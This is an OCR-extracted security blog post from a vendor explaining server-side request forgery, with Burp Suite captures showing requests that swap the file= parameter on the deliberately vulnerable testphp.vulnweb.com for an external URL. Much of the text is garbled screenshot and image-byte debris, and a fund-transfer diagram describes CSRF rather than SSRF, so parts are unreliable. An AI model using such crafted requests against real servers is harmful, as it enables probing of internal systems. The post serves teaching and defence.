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Server-Side Request Forgery (SSRF) refers to an attack, wherein an
attacker can send a crafted request from a vulnerable web

application. SSRF is mainly used to target internal systems behind
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WAF (web application firewall), that are unreachable to an attacker
from the external network. Additionally, it’s also possible for an
attacker to mark SSRF, for accessing services from the same server
that is listening on the loopback interface address called (127.0.0.1).
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Last but not the least

A lucid example for SSRF:
Typically, Server Side Request Forgery (SSRF) occurs when a web

application is making a request, where an attacker has full or partial
control of the claim that is sent. A typical example is, when an
attacker can control all, or a part of the URL to which the web

application makes a request to some third-party services. Here, I had
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captured the parameter of file= URL, and I've tried to perform this

server-side forgery attack.

Perpetrator embeds
the request into a A visitor clicks on the
hyperlink and sends link, inadvertently
itto VISIt(?r who may sending the request
be loged into the site.

to the website.

Website Visitor H

Counts Ratings

Website validates request
and transfers funds
from the visitor’s account

to the Perpetrator.

)

Perpetrator

Perpetrator forges a
request for a fund
transfer to a website.

Website

In the above figure, the perpetrator forges a request for a fund
transfer website, and he embeds it into the visitor site. When the
visitor logs the website for the transaction and clicks the perpetrator
created link, it eventually redirects to the perpetrator’s site, and the

amount is transferred to his account.
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SSRF IMPACTS:

By this attack, an attacker can gather information about ports, IP

https://medium.com/@briskinfosec/ssrf-server-sid...

addresses, Remote Code Execution (RCE), and can also discover the

IP addresses of servers running behind a reverse proxy, etc.

For example, I had tried SSRF attack on a testing site for your

reference.

Vulnerable site: http://testphp.vulnweb.com/

POC1:

.} Burp Suite search

Search Options Locations Tools
file= [J case sensitive (4 In-scope only [ Request headers [ ] Response headers ¥ Target
[J Regex ([J Dynamic update @ Reguest body [J Response body & Proxy
L_JGo [J Negative match & Repeater
| Source | Host A | URL | Status. | Length | Time requested |
Target http:/itestphp.vulnweb.com Ishowimage.php?file=/pictures/1.jpg 200 12613 12:54:09 17 Apr 2018
‘ Target hitp:/itestphp.vulnweb.com Ishowimage.php?file=./pictures/2.jpg 200 3510 12:54:08 17 Apr 2018
| Target http:/itestphp.vulnweb.com 's| php?file=./pictures/2. jpg&size=160 200 1539 12:53:26 17 Apr 2018
‘, Target http: php. .com php?file=/pictures/3.jpg 200 9878 12:54:10 17 Apr 2018
| Target http:/itestphp.vulnweb.com Ishowimage.php?file=./pictures/4.jpg 200 14156 12:54:09 17 Apr 2018
‘ Target http:/itestphp.vulnweb.com Ishowimage.php?file=./pictures/4.jpg&size=160 200 4801 12:53:26 17 Apr 2018
| Target http:/itestphp.vulnweb.com Ishowimage.php?file=/pictures/S.jpg 200 14415 12:54:10 17 Apr 2018
Target hitp:/Aestphp.vulnweb.com Ishowimage.php?file= /pictures/S jpgdsize=160 200 4514 12:53:26 17 Apr 2018
Target http:/itestphp.vulnweb.com Ishowimage.php?file=./pictures/6.jpg 200 11652 12:54:10 17 Apr 2018
‘ Target http:/itestphp.vulnweb.com Ishowimage.php?file=./pictures/7.jpg 200 19406 12:54:10 17 Apr 2018

Request | Response

Raw | Params | Headers | Hex

Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
Accept: */*

Accept-Language: en

GET /showimage.php?file=./pictures/3.jpg HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT £.1; WinE4; xE4;

Trident/5.0)

I

(

v

BEEE®

Search completed

1 match

10 results
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In Burp Suite, I checked for some different redirection parameter
other than URL=, and in the search field, I've tried with various
parameters. By using this parameter of , I've captured the request of

the particular path and had sent it to the repeater.

POC 2:

Burp Intruder Repeater Window Help
Target | Proxy | Spider | Scanner | ntrucer [ Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts | Swagger Parser | xssvaidator |
-

Go Cancel < v >y Target: http://testphp.vulnweb.com u“_

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | Render

GET /showimage.php?file=./pictures/3.3pg HITP/1.1 f HITP/1.1 200 0K

Host: testphp.vulnweb.com r Server: nginx/l.4.1

Accept-Encoding: gzip, deflate Date: Sat, 24 Jan 1870 07:22:41 GNT

Accept: */* Content-Type: image/jpeg

Accept-Language: en Connection: close

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT £.1; Winéd; x€4; Trident/5.0) X-Powered-By: PHP/S.3.10-1~lucidtZuwsgil

Connection: close Content-Length: 9692

Referer: http://testphp.vulnweb.com/listproducts.php?eat=1
¥Bya00J F1FO0000000000¢00c000000000000000
o
000000000000000+000$000 , #&')*)00-0-(0% () (yiOcoooo
o
o
0000 CCCCCCCCCEEECCCCEEEEEEEEEEEECCCCEEEEEEeeettt (¢ ( (yANDNO0E0eDD"00000007AN0000000000000
00000000000007AD0000000000000000000000000¢U0000000000006 inén® Ea: YE& (3P<40 OTAd
O0000MSO0$09=1; 81 (OAvi0™ } (¢-Op"- Xgéh* Uy 0, ;004 +V, 0000000 3 @AD 20 eunk4KGI ravealy-vat
-1 20N - 3uEidi+, iB055U Z0+hi 4]
|—44l 627K -89~ >Tau’ v  Fi¥a~upz0: 0 Dun_1u>}060+U»* ip0«*@i0alCl0z"ESO"000F O>X +|0°00"f0s
W &% ()b 9y >, 86x0 (AP0 ZEK. whe ~0(—404° O, AGED T4 ("LUh$Eens’ OVeO¥a ' OsOG4AL | p-2860-=-
.%; -B8Ré®qla=00gZe
qoi: pIO@3 + 500000EGwEE-..0a91 DAE (* *k0x$61)000FEOT gTss<éf6+7he=§ % /¥+77Ak; -60/00° vOss6562Z, 2,
HO|%w | “000 € “£6261" ) : fu-DExigiIgAOn] 6° 611£FiRé (~ézP -r+)48000 12w | “0000Q] | “IXEOG>mifo=at
¢@. 49nE>woDéLe« YiDUD$§ + [0 1»cki |\ dy (00Exw| +00XKU"DROD >dFsva ' Gz¥—y0t0; TaT813_-¢
154C*3156:0899 >00>a06 1 b
003 $4D¢ AT0 2" 344VaM~~ <3GN_5&9< O | Y: : B+ d¥l “+n.. £5U0UF~d00020¢ "000000 AT G0 éts0iyDSOUENF +OKE> £
§90- fe—304ai-; “0E0$APrO00000T=E0+0c02>0MC? > 54BTARz? ] 36x06 | Uty
@+yi0 ' 000000000000000000000000000 ¢ @0
01P" #3yUD0000000pBL ) YOVX,, 40 { ; A< $0300a&x0x0«0BH* « g60-FB° =p07%ei (3r

L C1§IN?&5InBO0L3 Vébgl™ e adc e (B, U$WFO: 0% /xnk é0iQ" AFUYS« D) Bs’ Dan
v atU~<iim®E00@I>162! «hlken¥”| 12090y x:.12§3i007x 00600 >~V UG Be2Q021 : Séy

Request is captured from the search file in the repeater, and here in
file feed, a .jpg file is available. Now, I had removed the file and
entered a third party URL on file Redirected URL:
https://www.expressvpn
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POC 3:

Burp Intruder Repeater Window Help
Target | Proxy | Spider | scanner | intruder | Repeater | Sequencer | Decoder | comparer | Extender | Project options | User options | Alerts | Swagger Parser | xssvaidator |
1 % &

Go Cancel <|v >y Target: http:/itestphp.vulnweb.com
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

GET /showimage.php? file=https://www. express-vpn.com/what-is-my-ip

S <br>
HITP/1.1 r <b>Host Europe GmbH</b>

Host: testphp.vulnweb.com </p>

Accept-Encoding: gzip, deflate <p>

Accept: */* Location:

Accept-Language: en <br>

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT €.1; Winé4; <span class='flag flag-de'></span>
x64; Trident/5.0) <strong>

Connection: close Germany

Referer: http://testphp.vulnweb.com/listproducts.php?cat=1 -

Hoest
</strong>
</p>

<p>
Your IP address:

<br>

<b class='red'>176.28.50.165</b>

</p>

</div>

<div class='tool-panel _footer's

<div class='cta-text'>

Anonymize your IP address:

</div>

<a class="btn btn-danger btn-lg btn-get" href="/order">Get ExpressVPN</a>
<div class='help-text'></div>

</div>

</div>

Once I click on Go to capture response, the response is changed to
expessvpn.com and you can see the IP of the testphp.vulnweb.com.
But in the render page, you can see the expressvpn.com site getting
loaded as follows:

POC 4:
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Burp Intruder Repeater Window Help

[ Target T Proxy | Spider | Scanner T Intruder Rnpan Sequencer T Decoder T Comparer T Extender T Project options. T User options | Alerts | Swagger Parser T xssValidator ]
T .
Go

AnCe < v > Target: http/itestphp.vulnweb.com L

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

GET /showimage.php? file=https://wuww.express-vpn. com/what-is-my-ip 2
r
@ _ e

HTTP/1.1
Host:

~Language: en

: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Winéd; What is VPN?
ne/5.0
ction: close o Benefits
eferer: http://testphp.vulnweb.com/listproducts.php?eat=1 o Browse Anonymoust
o Unblock Websites
o Unlimited Streaming
o Hide Your IP
o Features

o 148 VPN Locations
o Best-in-class Encryption
o VPN Speed Test
o VPN Protocols
o Kill Switch
o Zero-knowledge DNS
o Split Tunneling
o Privacy Safeguards
o Products

o Desktops & laptops
o Windows
o Mac

PREVENTION FROM SSRF:

e Generic error messages should be displayed to every client, as
unhandled responses might end up in revealing sensitive
information or data leakage about the server, when any other raw

response or different parameter is used.

e URL schemes other than HTTP and HTTPS should be blacklisted.
Instead, these two mentioned protocols should be whitelisted
thereby blocking different schemes which are not in use like
file:///, direct://, feed://, touch:// and FTP://, which might
prove to be dangerous for SSRF.

CONCLUSION:

Hence, the Server Side Request Forgery attack has been made from
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the server side and the required web page has been redirected to
some other web pages. To prevent such types of attacks, allow only
the particular subdomains of the required web page and then

whitelist the other web pages that are not in use.

How Briskinfosec helps you?

To practically educate about these issues and to provide
contemporary security quality, a competent cybersecurity firm is
mandatory. Briskinfosec security professionals validate the input
parameters of the incoming requests through effective security
assessments. We scrutinize them and encumber those, if detected
vulnerable. We also deliver you, noble notions of cyber awareness
against both old and latest cyber threats, educating you to be cautious

against such possible threats.

Curious to read our Case studies?

Our case studies are one of the best totems of our security
assessments quality. Our clients have always felt contented with our
security assessments quality as we’ve always met their security
requirements on time, with zero compromises. We have a vast

collection of case studies, just take a look at them.

People check out for the recent and significant cyberattacks, to gain

knowledge and sometimes, to check the affected companies. For
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doing so, they’'ve got to search spotlessly and at some point of time,
they feel tiresome. But, Briskinfosec provides you an easy way to
acknowledge the recent and significant cyberattacks, the impacts of
them on respective organizations, the losses faced by them and all
these are done in just one single report named as Threatsploit

Adversary Report. Check them out and they’ll surely be fulfilling.

Originally published at https.//www.briskinfosec.com.
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